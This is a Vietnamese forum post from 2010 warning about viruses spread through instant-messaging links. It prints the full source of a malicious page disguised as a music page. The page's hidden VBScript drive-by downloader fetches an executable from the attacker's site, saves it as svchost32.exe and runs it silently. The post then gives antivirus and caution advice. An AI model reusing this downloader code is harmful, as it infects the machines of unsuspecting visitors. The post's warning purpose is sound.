Virus lây qua IM

**admin** 25/3/2010, 12:12 pm

Sau khi nhận được khá nhiều link chứa virus, tôi thử xem xem
vius đó là gì ?

http://www.traoluumoi.com/YMBEST/

http://vuichoivn.com

http://viet8x.evonet.ro

Tất cả các con virus này được tạo rất đơn giản bằng 1 chương
trình có tên :

Autoit3. Download tại đây :

(Không khuyến cáo các bạn dùng thử)

Đây là mã nguồn của trang vuichoivn.com các con virus này :

Code:: <html> <head> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="description" content="Audition"> <title>Nghe nhạc Audition | Hyo Ri Lee - 10 Minutes!</title> </head> <body bgcolor=black> <script language="VBscript"> on error resume next dl = "hxxp://vuichoivn.com/guitangban.exe" Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" str="Microsoft.XMLHTTP" Set x = df.CreateObject(str,"") a1="Ado" a2="db." a3="Str" a4="eam" str1=a1&a2&a3&a4 str5=str1 set S = df.createobject(str5,"") S.type = 1 str6="GET" x.Open str6, dl, False x.Send fname1="svchost32.exe" set F = df.createobject("scripting.FileSystemObject","") set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1) S.open S.write x.responseBody S.savetofile fname1,2 S.close set Q = df.createobject("Shell.Application","") Q.ShellExecute fname1,"","","open",0 </script> <div align = center> <h2><font color=#FFFFFF>Các bạn đang nghe bài Hyo Ri Lee - 10 Minutes</font></h2> <embed src="http://ladymoonlight.org/Hyo Ri Lee - 10 Minutes.mp3" autostart="true" > </div>  <script type="text/javascript" language="javascript"> var sc_project=1874708; var sc_invisible=1; var sc_partition=17; var sc_security="ae164a82"; var sc_remove_link=1; </script> <script type="text/javascript" language="javascript" src="http://www.statcounter.com/counter/counter.js"></script><noscript><img src="http://c18.statcounter.com/counter.php?sc_project=1874708&java=0&security=ae164a82&invisible=1" alt="unique visitor counter" border="0"> </noscript>  </body> </html>

Sau khi mở trang trên nó sẽ download file hxxp://vuichoivn.com/guitangban.exe về chạy, trong file này chứa các đoạn mã nguy hiểm.

Để tránh các virus này tốt nhất là cập nhật các bản diệt virus mới như SAV (đã diệt dc con này), BKAV cũng hay cập nhật (chưa test đã diệt con này hay chưa),... và quan tron là không bấm vào bất kỳ link gì khi chưa biết chắc, cho dù đó là ai gửi.
Hướng dẫn diệt virus của BKIS : http://www.bkav.com.vn/frmView.aspx?Noidung=HDDietVirusYM.htm